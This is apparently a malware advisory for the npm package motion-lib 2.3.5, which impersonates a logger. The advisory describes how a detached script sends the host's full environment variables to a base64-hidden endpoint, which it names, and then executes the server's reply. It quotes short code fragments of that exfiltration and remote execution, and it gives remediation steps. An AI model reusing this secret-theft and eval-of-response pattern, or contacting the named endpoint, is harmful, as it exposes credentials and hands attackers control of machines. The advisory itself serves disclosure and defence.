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Malicious code in motion-lib (npm)

0
Critical
Published: 06/16/2026 (06/16/2026, 19:46:09 UTC)
Source: GCVE Database
Product: motion-lib

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0dec07d83d6427eb2c76e0ab74e5f31f424e769c187e6d48df0de3575df2e176) [email protected] masquerades as a pino-style logger (exports module.exports.pino, ships proto.js/multistream.js/transport.js/redaction.js/levels.js, advertises 'fast','logger','stream','json' keywords) but its middleware factory in index.js spawns a detached `node lib/initializeCaller.js`. That script shadows `process` with a local object whose `env.DEV_API_KEY` holds a base64-encoded string that decodes to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df, then POSTs the host's full real `process.env` to that endpoint with header `x-secret-header: secret` (`axios.post(apiEndpoint, {...process.env },...)`). The HTTP response body is then executed via `new Function('require', response.data); executor(require);`, giving the remote endpoint arbitrary code execution with full Node capabilities (filesystem, network, child_process) on the installer's machine. The combination of full-environment exfiltration (AWS_*, GITHUB_TOKEN, NPM_TOKEN, CI secrets, DB creds), eval-of-remote-response RCE, base64 obfuscation of the C2 URL, and impersonation of a popular logger package is an unambiguous supply-chain attack. ## Source: ghsa-malware (42d1c97ca524f366ce6123786b4b68ebd3796c9d221d59009641effddc0e02de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Affected software

npmghsa
motion-lib
Affected versions
=2.3.5

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AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/06/2026, 23:18:47 UTC

Technical Analysis

[email protected] impersonates a legitimate logger package but contains malicious code that runs a detached Node.js script. This script shadows the process object and extracts environment variables, including sensitive credentials such as AWS keys, GitHub tokens, and database credentials. It sends these to a remote endpoint (https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df) using an HTTP POST with a secret header. The response from the server is executed as code with full Node.js capabilities, allowing arbitrary remote code execution on the compromised host. This is a clear supply-chain attack leveraging environment exfiltration and remote code execution via eval of remote response.

Potential Impact

Any system with [email protected] installed or running is fully compromised. Attackers gain full control over the host environment, including filesystem, network, and process management. All secrets and credentials stored in environment variables are exposed and can be stolen. This can lead to further lateral movement, data theft, and persistent compromise. The attacker can execute arbitrary code remotely, making remediation difficult without full system reimaging and credential rotation.

Mitigation Recommendations

No official patch or fix is currently available for [email protected]. Immediate removal of the package from all systems is required. All secrets and credentials exposed on compromised machines should be rotated immediately from a secure, uncompromised environment. Because the attacker may have full control of the host, removing the package alone may not eliminate all malicious artifacts. A full system compromise response, including forensic analysis and potential reimaging, is recommended.

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Technical Details

Gcve Source
db.gcve.eu
Osv Id
MAL-2026-5925
Osv Schema Version
1.7.4
Aliases
["GHSA-4qw9-xmhp-hc7v"]
Ecosystems
["npm"]
Database Specific Severity
null
Cvss Version
null

Threat ID: 6a4c341527e9c797195f7ef5

Added to database: 07/06/2026, 23:02:45 UTC

Last enriched: 07/06/2026, 23:18:47 UTC

Last updated: 07/18/2026, 17:27:21 UTC

Views: 23

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